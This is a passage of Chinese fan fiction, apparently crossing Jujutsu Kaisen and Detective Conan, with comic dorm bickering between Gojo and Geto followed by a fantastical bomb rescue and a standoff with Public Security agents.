“杰一定不会离开我的,老子八岁比十个亿值钱多了!”
五条悟举手抢答。
夜蛾正道闻言苦着脸,还算欣慰的拍了拍他的肩,“那么要承担起责任来啊,悟。”
他挥一挥衣袖,不带走一片云彩。
夏油杰恍恍惚惚,大脑离家出走。在原地怔愣了片刻,把五条悟抛出去,伸出尔康手追了出去,“你等等,夜蛾老师!你等等我,你听我解释啊——!”
家入硝子有些无奈,“你惹他干嘛?”
五条悟撇眼,“老子可是是真心的。”
她卡住,沉默了两秒,“你认真的?”
五条悟理所当然道,“老子想和杰永远在一起,以什么形式什么身份,这不重要吧?”
“挚友和恋人可不一样哦,夏油在某些方面可是相当固执的人。”
“不一样?为什么。”五条悟眉头皱到一起,“挚友是永远陪伴,结婚也是永远陪伴,这没什么区别啊!”
他用婴儿蓝般的纯洁眼眸盯着女同期,看起来是真真切切、完完全全的茫然。
五条悟和夏油杰曾请教过家入硝子反转术式的运转原理,听到“咻——嗖——”的回答后,也是同款的懵逼样。
家入硝子一时失语。一个万年单身狗,勉强她去形容爱情与友情的微妙心绪未免为难,她艰涩的说,“恋人之间……会接吻,会上.床……你懂吗?”
五条悟呆了两秒羞涩的捂住脸,“硝子怎么可以说这么……这么粗鲁直白的话?”
“……”
家入硝子一秒死鱼眼,诊断结果一出,没救了,随便他们吧。
谁懂啊,和他们当同期真——的很心累!
*
夏油杰连滚带爬追了出去,强拉硬拽着夜蛾正道的袖子,非要给他解释。
“老师,那张照片只是硝子拍的借位照,用来整蛊我们的!”
他急得满脸通红,像炮仗一样噼里啪啦地把话甩在了他脸上。
夜蛾瞧见他绯红的脸颊,给面子的点头。
“我们两个是在吵架,情绪激动才挨得那么近的!”
见班主任点头,夏油杰略微放松,语气舒缓了一些。
带着墨镜的班主任,神情都藏在镜片之下。他直直的站着,双手交握在身前,时不时点点头,表示我在听。
夏油杰诡异停顿了一下,接着道:
“我和悟是清白的!”
夜蛾正道抬表看时间,“我知道了,我还有事,你先回教室吧。”
夏油杰挂着笑容,心满意足离去了。
夜蛾正道在心里盘算:该怎么和五条家交代这件事呢?
还是先瞒一段时间吧,能拖就拖,这对鸳鸯怕是不牢,别给棒打飞喽。
心中有了主意,他心绪也松了不少,健步如飞的离开了。
*
高专建在山上,师生不多。夜晚静谧的只能听见窗外的虫鸣鸟叫,五条悟躺在床上,双眼失神的看着天花板。
挚友、恋人……恋人、挚友……恋人、挚友……
挚友和恋人有什么不一样呢?
硝子说恋人能接吻上.床,挚友不能。
可是上.床的话,他和夏油杰已经干过了。杰抱起来可舒服了,胸膛软软的,比五条家重金请师傅手工做的枕头还要助眠,还会给他捂耳朵和眼睛。
至于接吻……
五条悟琢磨着。
他是肉做的,杰也是肉做的。任何人接吻,本质上和菜市场大妈把两块猪肉帖到一起没有任何区别吧。
他嫌别人脏、恶心,但杰是香香的啊!身上只有好闻的皂角香,头发也香香的,是清爽的海盐味,枕在脸下沁人心脾。
所以,挚友不能成为恋人吗,这两种区别只是普通挚友之间拥有的壁障。在他和夏油杰这种神话级别的挚友组面前,根本算不了什么吧!
杰、杰、杰……杰在做什么呢?
突发奇想的,五条悟轻盈跃下床,赤脚踩地,鬼鬼祟祟的将耳朵贴到了不久前修复好的崭新的墙壁上。
隔壁静悄悄的,即便如五条悟般敏锐,也只能听到一些细微的声响。
沙沙声——写字的声音,杰在写报告吗?
嗖嗖声——在翻书?看来是不是在写报告,应该是做作业。
撅着屁股耸着肩,五条悟一点也不累,对推测夏油杰房间的声音上了瘾,这可比解密游戏有意思多了。
他嘴巴咧的老大,牙齿死死咬在一起,无声大笑,脚尖却兴奋地克制不住呲溜碾了一圈地板。
夏油杰眉头皱在一起,能随机掐死一只苍蝇。书桌侧的墙壁不停传来嘎吱嘎吱的声响,他起身用食指从上而下划过墙面,最终蹲下,指尖停在踢墙线。
想起手机上推送的新闻,他眉尾一抖,这里,怕不是虫子泛滥成灾了?
他召唤出了一只网状的咒灵,把他罩在踢墙线防止漏网之鱼,又随手丢了一只有触手的蝇头进去。
——“刺啦”一声,扒下了整条踢墙板。
墙后的虫子咚的一大声往后跳,夏油杰也被吓得也往后跳了一步,而后看着触手递来的踢墙板额角青筋直跳。
他气势汹汹劈手甩开门,撸起袖子走到五条悟门口开始敲。
咚咚咚!咚咚咚!咚咚咚!
这小子!又在整什么幺蛾子!
五条悟活动了一下酸涩的肌肉,咳了两声试着压低嗓音,又撸乱头发,若无其事的开门,熟练地倒打一耙。
“老子都被你吵醒了!你大半夜要干嘛!”
见他烦躁的模样,沙哑的鼻音,夏油杰的手迟疑的落在空中。
又见他的身后书包落地……
难不成是拆墙的力度太大,把他的书包震下来了?
一时间,夏油杰愧疚不已。他低着眉眼轻声道,“抱歉,我听到了奇怪的声响误会了你,把你吵醒了。”
五条悟的眼珠夏油杰看不到的地方飞速一转,假装抱怨道,“老子那么信任杰,杰倒好,一有事就推到老子身上。”
夏油杰头低的更低了,更心虚、更歉疚了,他在心中狠狠反思唾弃了自己几个来回。
他怎么能因为悟偶尔调皮对他抱有刻板印象呢?这难道是挚友该做的吗?悟又不是总是这样!
五条悟见他蹙眉抿唇的模样,得意的咳了两声,继续演。
他不满的锤向墙壁,“杰总是这样!总是不信任老子,总是让老子失望,惹老子伤心!”
轰——
两人懵了一秒,看着夏油杰的眼神,五条悟讪讪的收回拳头。
刚修好的墙,又塌了……
这么浮夸的台
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词语调,那么用力过度的表演动作,夏油杰还有什么不明白。
他不爽地抱着胳膊,阴阳怪气,“我把你吵醒了?”
方才一时没反应过来,那个书包明明五条悟昨天就随手甩子地上的!还有刚刚抱怨的话,那哪是什么刚睡醒的沙哑鼻音,分明是故意掐出来的超绝气泡音!
什么不要抱有刻板印象!什么五条悟又不总是这样!都见鬼去吧!!
五条悟很快摆出一副理直气壮的嘴脸,“是啊。还不是高专太破没空调,老子是嫌冷才才打通的房间,杰要补偿老子。”
夏油杰皮笑肉不笑,“冷是吧,补偿是吧。”
他冷笑着,右手抬起,掌心向上,一个像焦黑火山岩的巨大肉瘤出现在房间内。
对温泉的恐惧诞生的低级咒灵,唯一特长:制造高温桑拿房效果。
甫一现身,打通的房间瞬间成了超级烤箱,本来有几分湿冷的空气温度指数级飙升!
五条悟脸上的得意刷一下凝固了。
他感觉像是被塞进了正在喷发的火山口,滚烫的空气疯狂涌入鼻腔和喉咙,汗水如同开闸的洪水,瞬间浸透了他单薄的睡衣。
他故作若无其事,猛地蹿开到房间另一端。
夏油杰同样不好受,汗水瞬间湿透了他的刘海和后背,但他脸上“核善”的笑容却异常灿烂,“怎么样悟,温度还满意吗?”
望着那刺眼的笑容,再看看洞口那冒着蒸汽的肉瘤,不服输的火焰“噌”地窜上头顶!
苍蓝色的瞳孔里写着“老子跟你拼了”几个大字,他咬牙:
“满意!太满意了!杰!干得漂亮!继续保持!千万别停!老子就喜欢这样!”
将人从洞口推回他的房间,他带着一股“壮士断腕”的悲壮气势,直挺挺躺回床上。
夏油杰垮下脸,也不服输的躺到床上。
……躺了没几秒,床就湿了。
他余光瞄了瞄洞口,见对方没有探头,鬼鬼祟祟躺在地板上。
刚挨地,五条悟的嘲讽马上到来,“这就受不了了,杰也太逊了吧!果然硝子说你虚不是没有道理的!”
没有一个男人能容忍这样的质控!夏油杰把球打回去,“我只是不小心滚下来了而已!倒是你,这么关注别人,是坚持不住了吗?”
“放屁!老子的眼睛,无论睡没睡都能监视你,你别想作弊!嘁嘁嘁嘁嘁嘁嘁嘁嘁!”
夏油杰不甘示弱,“哼哼哼哼哼哼哼!”
五条悟呆了两秒,把头探进洞口,“嘁嘁嘁嘁嘁嘁嘁嘁嘁嘁嘁!”
夏油杰:“……”
“你口水喷出来了。”
高专的房间格局相似,从夏油杰的角度看去,还可以望见五条悟翘起的白嫩脚丫。打烂的墙壁正好紧挨着五条悟的床头,也幸好是他在自己房间轰烂的,要不然这些墙渣可以让他的床今晚报废掉。
五条悟:“你刚刚鼻屎还喷出来了呢!”
夏油杰根本受不了这么肮脏的污蔑,“我没有!”
“你有!”
“我、没、有!”
“老子说你有就有!”
“……快睡觉!要是我先睡着你就输了!”
五条悟嗷嗷示威:“老子肯定比你先睡着!”
两个房间,被一个大洞连通,中间杵着一个疯狂冒气的咒灵。空气扭曲,温度高得能煎熟鸡蛋,硫磺味混合着汗味,堪称人间地狱。
夏油杰认命躺回床上,汗水如同小溪般从他的额头、脖颈淌下,浸湿了枕头。他闭着眼,眉头紧锁,嘴唇抿成一条僵硬的直线,如同在修炼什么绝世神功。
他觉得刚刚自己的脑袋简直瓦特了!五条悟是自作自受,自己又是做了什么孽,非要陪他要受此一遭?
隔壁,五条悟的动静更大。他瘫在床上,烦躁地滚来滚去,发出“咯吱咯吱”的噪音,间或夹杂着几声压抑的、痛苦的吸气声,还有模糊不清的咒骂。
时间在高温的炙烤中变得无比漫长和煎熬,夏油杰双目无神的盯着墙上的钟表。耳边,隔壁的声音渐渐消失了。
夏油杰心中一喜,他睡着了?!
猫一样跃下床,从足跟到足尖慢慢过度,摸到隔壁,就在他刚探出洞口半步,五条悟突然传来极响亮、极刻意、极假的——
“呼……Zzzzz……呼噜……嗯……凉快……舒服……”
鼾声抑扬顿挫,甚至自带台词,夏油杰抬起的脚僵在半空,又悄咪咪落下,换个方向,一模一样摸回床上。
想乘五条悟睡着把咒灵关了是彻底没戏了!
夏油杰的拳头猛地攥紧,死死瞪着那堵破墙的方向,恨不得用眼神把那个装睡的白痴烧穿!
一分一秒地煎熬着,夏油杰熬着熬着熬出来了几分睡意来,迷迷瞪瞪的闭上眼睛。
隔壁的五条悟马上睁眼,苍蓝的眸子兴奋闪光。
他猫着腰悄咪咪探过去,像特务一样落地滚一圈,滚到夏油杰床边,伸出食指轻轻戳了戳他的脸颊肉,见人真的睡着,他起身伸了个懒腰。随手一捏,将咒灵变作灰飞。
苍天之瞳在黑暗中总显出几分幽密、沉静、冷酷和审视。
他的主人将人从头到尾扫了一遍,探查咒力流的波动与方向。
半晌,他阖上双眸,懒懒地就地躺在夏油杰身边,慵懒的哼唧几声,打着哈欠断断续续道,“笨蛋,这种天气,这个程度的温度就够了……明早……哈——就算你发现……那也是老子赢了……”
27.第 27 章
天空低垂着游移的灰云,一抹稀薄的东阳投射着冷光。西北风艰难漂洋过海,日本的十一月份就要来临了。
夏油杰躺在床上,眉头紧蹙呼吸急促,睡得不安稳极了。
梦里是一片迷雾,他是赤脚站在雾里的人。天空依稀下着淅淅沥沥的雨,他仓惶狼狈的狂奔着,衣服湿漉漉地贴在身上,雨水压低了睫毛,在眼前形成局促的雨幕,遮天蔽日地挡住了视线。
将他从梦魇唤醒的是阵阵急促的拍门声。
夏油杰恍惚了几秒,见怪不怪的掀开五条悟,迷迷糊糊摇摇晃晃的起身。
“杰,有紧急……”,门外是夜蛾正道,在夏油杰开门的瞬间,他像只被掐住脖子的鸭子,诡异的卡住了。
怔愣地看着睡在夏油杰房间里的五条悟,又瞥见踢到床下的被子、潮湿氤氲的床单枕头、黏腻皱巴的衣服,甚至没有多余的精力去关心被破坏的公共设施,他倒吸一口凉气:
“你们两个……”看着夏油杰堪比隔壁国宝的两圈,他苦苦斟酌措辞,艰涩道,“你们两个注意一点,都还这么年轻,别把身体搞垮了。”
可能是觉得言辞太过干巴,他又象征性的拍了拍夏油杰的肩,“对悟好一点吧,今天的任务你要多出点力,他昨晚应该很累了。”
夏油杰囫囵地点头,突然卡顿了一下,莫名觉得班主任的口气有点奇怪,可混混沌沌阵阵作痛的脑子捋了一遍,又觉得好像确实没什么不妥,于是又接着点头。
熬夜确实有害身体,他也的确不该那么冲动的召唤咒灵为难彼此,搞得两人都度日如年的煎熬。
于是夏油杰有气无力道:“我知道了老师。”
这个口气?
夜蛾正道眉头皱成深深的‘川’字,想起他动不动流冷汗的事,“杰,凡事都要有度,否则害人害己,你也该为悟考虑一下了。我知道你们这个年纪的人都冲动,但也要学会克制自己。”
回头找个中医给他调养调养吧,听说种花家的中草药对这方面很有奇效。
夏油杰受教,满口称是。
老师这还是在教诲他收敛脾气,学会克制,不要一点就炸,尤其是面对五条悟的时候。
这孩子,都这样了昨天还矢口否认,远没有悟的坦荡。畏畏缩缩遮遮掩掩像个什么样子,总不至于是个渣男吧!
电光火石之间,夜蛾正道抹脸的手猛的顿住,手后的眼睛瞪得像个铜铃,急忙放下手,细细打量他。
秀丽窄长的凤眼,潮流个性的长发,典雅秀丽的面庞,叛逆不羁的耳廓,这种气质!原先怎么没有察觉!
夜蛾正道陡然用掌根死死摁住胸口。
表面上的粗糙汉子,实则内心细腻感性,天马行空,充满理想主义的男人隐隐有裂开的架势。
他喉咙干涩,嘴里发苦。决定去找事情的发掘者·敏锐的侦查机·靠谱的女学生·家入硝子问道问道。
“你……你把悟叫醒来,我在楼下等你们。”他颤抖着阴险,沉重的弯着腰离开了。
……
“夜蛾老师。”
夜蛾抬眼望去,两个少年在不远处招手。
白发少年摇着黑发少年的袖子抱怨但胜比撒娇,黑发少年无奈的低头对他说了什么,他瞬间咧着嘴兴冲冲的跑过来。
眼神复杂的看着一味傻乐的五条家少主,神子的高贵逼格在他身上一去不返,已经完全变成了偶像剧里的傻白甜女主。
班主任心情复杂,他赶苍蝇一样挥挥手,“快去,快去吧。”
*
“哈——啊!无聊透顶!一个咒力稀薄像淘米水,术式只能弄点铍铜烂铁的家伙,居然要我们跑一趟!”
一大早被叫醒,夏油杰的声音还算平静,带着少年人特有的清朗,“对方发出犯罪公告,声称在几处人流密集点安装了炸弹。快别抱怨了,我们得赶紧抓到他。”
“啊——!老子的青春啊!就消磨在这种垃圾任务身上了!”
“忍忍吧悟,今天周五了。出来做任务总比窝在学校读书强。”
五条悟失望的说:“可周五下午是体术课,和杰打架一点都不无聊。”
看着他纯洁的眼睛,夏油杰心软的一塌糊涂,“悟……”
轰——!!!
他的声音被一声极其突兀爆裂的巨响骤然打断。
大楼高层塌陷,灰烟滚滚将天空搅成水泥。整栋大楼如同大地手里点着的仙女棒,钢筋建材染着火星纷纷坠落。人群的咒骂人、惊叫声、哭喊声乱哄哄混成一片,沸反盈天。
两人不约而同看去。
“该死!炸弹爆.炸了!悟!”
“来了!”
新宿中央大厦14楼,空气里弥漫着机油和隐隐的硝烟味。十一月份的天气,空气却如盛夏般沉闷焦灼,任人如何躁动都不肯流动。
松田阵平半跪在冰凉的大理石地面,额角鼻尖渗出丝丝冷汗。厚重的防爆服让他像个笨拙的灰熊,手指却异常稳定,灵活操纵着工具钳。
他面前是一个结构相当粗糙的□□,线路杂乱地裸露着,像一团纠缠不清的毛线。他小心翼翼,剪断了最后一根关键线路。
轰——
震天的响声,摇晃的大楼!
爆炸了!
松田阵平的瞳孔骤然紧缩!
咚!
松田阵平反射性向后跑去,扑倒在地!
一秒、两秒……大楼仍旧颤动,14层无事发生。
不是14层!是,26层!
“hagi!”
松田阵平目眦欲裂,窗下是百米高空,萩原研二在他面前的落地窗前直直坠下!
砰——
“五条大爷登场!通通闪开!”
14层的落地窗被一个白发少年撞裂。
少年穿着单边扣黑色制服和直筒裤,潇洒的单膝撞碎玻璃,轻盈落地。白色的发丝在阴沉的雨天依旧瞩目,墨镜斜挂在鼻尖,纯净如蓝宝石的眼睛不含任何杂质,倒映着松田阵平绝望惊恐的面容。
一个黑发少年悬浮在窗外,他拉着萩原研二的手,平时潇洒的男人惊魂未定地软倒在他脚边,也是……飘着的……
飘着……的?!
松田阵平惊悚的瞪大眼,恨不得掰开眼皮就能把视力提升到原子级别,好看看他们身上挂着的细丝什么的。
“嘿!好久不见啊,条子!”
五条悟的词库添了新词,挥着手冲他打招呼。
“太不礼貌的,悟。给我好好叫人啊!”
五条悟吐着舌头做了个鬼脸,蹦蹦跳跳的往拆开的炸弹走去。
夏油杰拖着萩原研二在14层悠悠落地,身姿挺拔,姿态轻松优雅。
松田阵平空白着脑袋,把萩原研二前
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前后后检查了个遍,见他没有身上没有少零件,才火气噌噌上涨,邦邦邦几拳就锤了上去。
“我让你跳楼!让你跳楼!跳楼是吧,啊?跳楼!”
“小阵平,快住手!研二酱知错了!”萩原研二抱头鼠窜,“啊!啊啊啊!研二的脑袋,一定是被气浪波及的脑震荡了!”
呼——
拳风掀起萩原研二额前的碎发,松田阵平的拳头在空中收住力道,最后化拳为掌,狠狠抱住了失而复得的幼驯染,闷声道,“你给我好好活着!”
后知后觉的恐慌蔓延开来,他的指尖苍白发麻到颤抖,不受控制的蜷曲,狠狠抓住萩原研二的后背。
萩原研二愣在原地,睫毛轻轻的抖颤,用力回报抱住他,“我会努力活着的。”
“没事吧?”
“只有一点恶心,没什么大事。我剪段关键线路后炸弹突然开始膨胀,我见不对就往窗户那边跑。”
“等等!”松田阵平陡然拉开他,瞳孔骤缩成点,“剪断线路突然开始膨胀?”
那岂不是?!
他猛的转头去找五条悟,白发少年像耍杂耍一样把炸弹颠来倒去。
炸弹在空中颤动,膨胀,变大。
松田阵平拔足狂奔,大喝道,“快躲开!”
已经来不及了!
强烈窜出的火光烈焰,震耳欲聋的爆裂声,嗖嗖的碎片飞溅声——一切熟悉的景象,接下来会发生的一切不做他想!满目疮痍的建筑,皮开肉绽的伤者,任其流逝的鲜活生命……
松田阵平心急如焚,平尽全力扑过去!
夏油杰和萩原研二在他身后抱臂,好整以暇的看着,心地善良的幼驯染机灵的举起了在兜里顽固生根的手机。
五条悟挑眉,简单闪身,学着家入硝子的口吻傲娇道,“我不要男人的拥抱。”
松田阵平扑在地上,呆滞的看着炸弹,连卷毛都惊疑的翘起,弯成问号。
炸弹在他掌心炸开又被无形的屏障拘固,看起来不像是令人胆战心惊的战争武器,倒像是打开开关讨人欢喜的烈焰水晶球。
“这,这怎么可能!”
刚刚的‘浮空术’他还可以勉强归结到什么新型科技或者悬空设备上,但现在的这一幕已经完全超过了他的认知!
他能感受到世界的崩塌,陪伴了他二十多年的唯物主义正在破口大骂问候他全家。
卷发警官恍恍惚惚,整个人都不正常了,“这是怎么回事?”
还没等夏油杰回答,一阵沉重的脚步从楼梯口传来,频率规律,训练有素。
五条悟头都不转,像只盯住猎物的雪豹,向目的地飞掠而去。
闪身离去后,一群穿着黑色制服的人鱼贯而入,袖章上面赫然写着“特殊事项对策室”。
他们以一种不容置疑的霸道姿态,乌泱泱冲过来,齐刷刷将几人包围起来。
为首的是一个四十岁左右的男人,面容严峻刻板,眼神锐利犀利。他胸口别着一枚小小的金色樱花徽章,锃亮反光。
“警视厅警备部机动队□□处理班 ,松田阵平警官,萩原研二警官。”男人的声音平坦无波,没有任何起伏,像在念一份枯燥的档案,“根据《公安紧急事态特别处理条例》,现由公安部门下设特殊事项搜查室正式接管此案。现场所有证物、包括你们拆除的爆.炸装置,请立刻移交!”
28.幽灵炸弹二(二合一,含补更)
站在他身后的一个年轻公安闻言,立刻上前一步,面无表情地伸出手,目标明确地指向松田阵平脚边那堆炸弹残骸:“请配合。”
松田阵平的火气“噌”地一下顶到了脑门。他猛地站起身,厚重的排爆服让他的动作显得有些笨拙,但气势却丝毫不减。
他一把摘下防护头盔,卷发被汗水打湿贴在额角,眼神像被激怒的狼,直直刺向那个公安头子:“放屁!公安的?接管?你们早干嘛去了?炸弹是我们拆的!人是我们疏散的!你们坐着乌龟慢悠悠晃过来,张嘴就要接管?凭什么?凭你们脸皮厚?”
萩原研二反应极快,一步上前,巧妙地卡在两人中间,脸上堆起职业化的笑容:“这位警官,请息怒。我们理解公安部门的职责,不过……”他姿态恭谨,语气却绵里藏针,“现场情况复杂,炸弹虽然拆除了,但嫌犯尚未落网,威胁并未完全解除。按照程序,我们爆处组需要完成初步现场勘察和证物保全,这是警视厅的规程。”
“规程?”公安头子神色冰冷,“在涉及国家安全层面的事件上,你们警视厅的规程一文不值!”
他语气加重,带着不容置疑的权威。
“国家安全?哈!”松田阵平仿佛听到了天大的笑话,他指着地上那堆简陋的□□残骸,“就凭这堆破铜烂铁?糊弄鬼呢?我看你们公安就是想抢功!”
“松田警官!”公安头子眼神陡然锐利,声音沉了下去,“注意你的言辞!妨碍公安执行紧急公务,后果你承担不起!”
气氛瞬间绷紧!
这两拨人,一拨穿着厚重的防护服,带着拆弹后的硝烟味和汗水味;一拨人警服妥帖,散发着不容置疑的威势。
剑拔弩张,空气仿佛擦一下就能迸出火星。
就在这紧绷的死寂间,一个极其嚣张、拖着长腔的少年嗓音,如同溅入滚油里的清水,清晰响在所有人头顶:
“喂——我说,吵死了啊,条子大叔们。”
众人望去,少年刺眼的白发醒目,墨镜松松垮垮地架在高挺的鼻梁上,嘴角咧开一个灿烂到近乎恶劣的笑容。
五条悟无视对面十几道震惊、警惕、甚至带着杀气的目光,他晃了晃手指,那个被他像拎破麻袋一样随意勾着的人也随之晃荡。
“你们要找的人,老子顺手捡回来了哦。这案子嘛……”他故意拖长调子,欣赏着下面那些公安瞬间变得极其难看的脸色,“现在归我们管了!辛苦你们跑一趟啦,大叔们,可以下班回家洗洗睡了。”
公安们的手几乎本能地按向了腰间的枪套,眼神凌厉,抽出手枪,黑洞洞的枪口对准他白灿灿的脑袋。
——特殊事象对策室黑名单的种子选手——五条家神子,五条悟。
每次出现,至少都会轰烂一栋楼的存在。
五条悟像没看见那些指向他的武器和警惕的目光,随手把昏迷的诅咒师像丢垃圾一样扔在冰冷的地面上,甚至悠闲地拍了拍手上压根不存在的灰。
公安头子的脸彻底黑成了锅底,眼神阴沉得能滴出水。他死死盯着五条悟,声音像是从牙缝里挤出来的:“咒术界的人……果然是一群无法无天、视规则如无物的狂徒!”
他身后的公安们瞬间散开,隐隐形成合围之势,气氛比刚才更加危险。
“狂徒?”五条悟像是听到了什么极其有趣的笑话,墨镜后的蓝眼睛闪烁着纯粹的不屑和玩味,伸出食指摇了摇,“No、No、No!是疯子才对。你们向疯子挑衅,是已经做好付出惨痛代价的准备吗?”
他的嘴角咧的像开裂的布娃娃,眼睛翻出血丝,像从地狱解封的恶鬼,连同那双在昏暗中发光的眼睛,都像是没在丛林里饿急了阴恻恻盯着猎物垂涎三尺的饿狼。
看见围起的枪口,夏油杰脸上依旧挂着温和的笑容,眼神却冷如寒星,他绕过对峙的两拨人,站在五条悟身后。
宽大的楼层倏地阴冷,看不见的怪物张牙舞爪。
一群渺小的人类将枪口对准群魔乱舞的魔鬼,如同误入大开的地狱之门。
在众人茫然之间,攻守之势瞬息反转。
夏油杰高扬下巴,半张脸隐入阴翳,语调轻佻,是深深的不屑和戏谑,“不自量力之徒,你以为你们的枪指着的是谁?”
敏锐的嗅觉触动,公安头子眸光泛冷,右手微不可查的打了个手势。
身后的公安默契列出队形,举着枪缓慢倒退。
男人站在原地,脊背板直,义正言辞,凛然如初,“你们是代表咒术界与政府决裂了?我是否可将其视为咒术界叛约的信号?”
或许一般十六七岁未经人事历练和社会毒打的少年,会被这一顶大义凛然又后果严峻的高帽震慑,然而咒术师本就腥风中来血雨中去,五条悟和夏油杰全当他放了个臭屁。
从始至终都是普通人离不开咒术师。
没了普通人,咒术师便成为了普通人。没了咒术师,光是日本逐年上涨的诅咒率便能将这个社会拖垮压塌。
心虽这么想,但面子上要过得去。
夏油杰嘴角含笑,不为所动:“您这话从何说起啊?此事并非寻常犯罪案,而是诅咒师所为。凡事关咒力,均有咒术界管辖。我等也不过奉命行事。”
五条悟秉持一致对外的原则指哪打哪,“而且那个炸弹是老子和杰解决的,犯罪分子也是老子抓的,凭什么把人交给你们。”他指着松田阵平,“这人嘴里吐不出牙,但有一句话说对了——你们来晚了!”
“干活没影,抢功积极。你们公安也不见得行事光彩!”
松田阵平像是被踢中屁股的凌乱小狗,破口大骂,“你说谁嘴里没有牙?!你嘴里才没牙!你全家牙都掉光光!”
他转头看向公安头子,继续破口大骂:“不是你谁呀,轮得到你在这指手画脚划分功劳?”他又转身对着五条悟和夏油杰吆喝,“你两,回头跟我回警察局,我给你们扮锦旗。”
萩原研二扯住他的袖子,把斗鸡一样的卷毛往后拽了拽,低声道,“事情不对劲,怕不是我们能掺和的了的,我们在一旁先看着。”
松田阵平压低声量,偏头低语,“我知道。”
他又不是什么笨蛋,当然知道事情在灵异侧的道路上狂奔,一去不回头了。
他就是气不过!自己的幼驯染可是被逼的跳楼!
那可是26层的高度,若是那两人再晚几秒,可就是真的没命了!
他们两个接到报警电话快马加鞭,疏散人群,拆解炸弹,到现在还是风尘仆仆,汗流浃背的臃肿模样。
而对面那一群人,各各人模狗样。衣衫工整,不疾不徐,理直气壮的做伸手党。就算做无用功,自己也要怼一怼,呛一呛,最好能哽死他们!
“自我介绍一下,我是清水二。特殊事项对策室外勤组组长,我们照例回收证物,你们二位的功劳自然一分不少。”
清水二对着他们敬礼,先把自己人安抚好,他转身嘲讽,“咒术界早不出手晚不出手,现在坐不住狗急跳墙了?”公安头子扯了扯嘴角,讥笑道,“你们的高层早过了法定退休年龄,恐怕敏锐度不在,决策力下降,我衷心建议还是早日退位让贤的好。”
这阴阳怪气的一通含枪夹棒,当然不是什么出于好心的谏词。所谓退位让贤不过是指以政府为主体,意在接管咒术界事物。
五条悟对这个观点没有任何意义,那群老爷爷确实半只脚入土脑年痴呆脑阔有毛病,他只当没听懂暗讽,而是赞同道,“他们跟不上时代,确实该给年轻人让让位置了。”
他多么期望年轻人上台,有一天自己可以做直升飞机上下班啊!那该省出多少和杰一起打游戏的时间!
没道理有人可以坐着直升飞机上下学,他坐飞机出任务不行!!
对这话,夏油杰可不感冒。他对咒术界的态度如同学生对待学校。自己可以骂天骂地的随便蛐蛐,在外面可听不得别人指手画脚。
他嗤笑一声,原封不动的把棒子反手打回去,“我见贵方也不怎么样,内部阖墙,互扯头花,争功抢利,您还是多多关注己方吧!”
——多照照镜子瞅瞅自己的丑样!
气氛一时冷凝,两方对峙,寸步不让。
“杰,我们走吧,老子饿了。”
五条悟摸摸自己扁扁的小肚子,没心情在这里大眼瞪小眼了。
夏油杰点头,挥手。
身后招展的咒灵挥舞黏腻的触手,将人卷起,拉近,一口吞掉。
一个活生生的人,陡然在他们面前失踪无影,在场众人寒毛霎时倒立!
“不好!队长,它出手了!”
公安头子身后的一个年轻人不知道什么时候戴上了一副框形眼镜。
五条悟撇了一眼,无所谓地移开目光。
“判案自有流程,还轮不到你们取人性命!”
公安头子的眼神利如出窍寒锋,他瞬间做出判断,抽出手枪,“砰”的几声,朝夏油杰射出四发子弹!
三发锁住身形,最后一发设向他结印的右手!
夏油杰岂是无印便不能施展术式的人?他讥诮的笑了笑,漫不经心地挥挥手。
触手挡下子弹,在惯性下,不客气的将所以公安贯倒在地。
“咒术界有咒术界的执行条例,面对诅咒师,格杀勿论!”
一旁的五条悟饶有趣味地挑眉,戏谑勾唇,“老子现在有点佩服你们的勇气了。”
“所谓愚昧使人盲目,盲目使人愚勇,不外如是。”
夏油杰挂着如春风和煦醉人的笑容,眸光却轻佻傲慢。他看着五条悟,只肯分出余光关照地上那群蜷起的蝼蚁。
五条悟触及他的神情,眸光瞬时被烫到。浑身触电,犹如雷劈,蓦地红了脸,像是见到猫的耗子。
这种“悲天悯人”看蠢货的怜爱眼神!这种的“尔等凡人,自找死路”的不屑神情!这种“一群猴子,岂敢造次”的王者风范!
虽略显稚嫩青涩,却让五条悟瞬间梦回被大夏油杰逗弄的时候。那是一种完全被包容,被宠溺,被溺爱的感觉,犹如被蚌壳蚌肉裹起的珍珠,被绞起捆绑,看似裹挟但是自由,连世界都是柔软温润的。
现在的夏油杰给他的感觉不一样,他陪他身边,像是太阳又像月亮,无论他奔走在旷野还是钢筋水泥围裹的小巷,总有一束光游移探寻,找到他,来到他的身旁。
总之,五条悟有点难为情的抿了抿唇。杰,有点涩……
一切只在瞬息之间,五条悟突然用力闭眼,打了自己一巴掌。
这声脆响回荡在宽阔空荡的楼层,看呆了一旁眼观鼻鼻观心围观他们打机锋的爆破警察,也让一旁逐渐缓过来的公安们的心提到了嗓子眼。
方才夏油杰那一下留了情,只是一击收了力的物理攻击。可现在的这个,是传说中高傲冷漠、强势孤傲、万事由心、五条家五百年一遇注定会成为当代最强的六眼神子啊!
站在他们面前的,是一个核弹般的男人!
难道……这是什么特殊术式发动的必要条件吗?
听说术式的全面发动需要咒词、掌印……
原来掌印是这么朴实无化的简称吗!他给了自己一个巴掌印……难道我们惹怒了他,他……要动真格了?!
一时间,公安的人面色惊恐。
公安头子脸色沉如粪土,他憋道,“……既然诅咒师已被这位小哥解决了,那我们就退下来,不耽误两位同学吃饭了,呵呵,呵呵呵呵。”
他打了个手势,让身后的人都撤退。勉强自己尴尬笑了声算打招呼后,捡起炸弹残骸,自己也撤了。
来的时候,数辆纯黑色的车带着一种不容置疑的霸道姿势,蛮狠冲破警戒线包围了大楼。
雄赳赳气昂昂下车,拍着屁股灰脚下生火撤退,这一串的反应看的在场的人一脸脸懵逼。
任务完成,夏油杰懒得管他们。五条悟的动作过于迅速,他阻之不及,此时他捏住他的下巴,把印了掌印的脸往光处撇了撇,好笑道,“好端端扇自己干什么,是突然想起来做了什么对不起我的事,在自己唾弃自己吗?”
五条悟不自在的把下巴抽离温热的指尖,掩饰道,“打蚊子而已。”
他扇了扇周围,好像真的有一群盯着他咬的蚊子,夸张的升高语调,“哎呀呀呀呀!我们去吃饭吧,这里蚊子太多了!烦死了!”
不待对方说什么,他拽着夏油杰狂奔,掀起灰尘,掠过警察周围,忽视二人瞪大的眼睛和伸出的手,从破碎的窗口一跃而下。
*
咒术总监会,会议室。
石田辉跟随领路的咒术师,一路垂首,盯着地板,以示恭敬。
“敢问大人,不知总监部大人们所召为何事?”
领路人低着眸子不做声,他迈着的步子间距一致,不紧不慢,透露着训练有素的老派优雅。
石田辉心中嗤笑,说得好听点是总监部的工作人员,地位凛然受人敬仰,其实不过是某位高层身边的狗而已。
他面上做足了姿态,身段放的很低,缩着脖子一副畏畏缩
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缩不成气候的老实人样子。
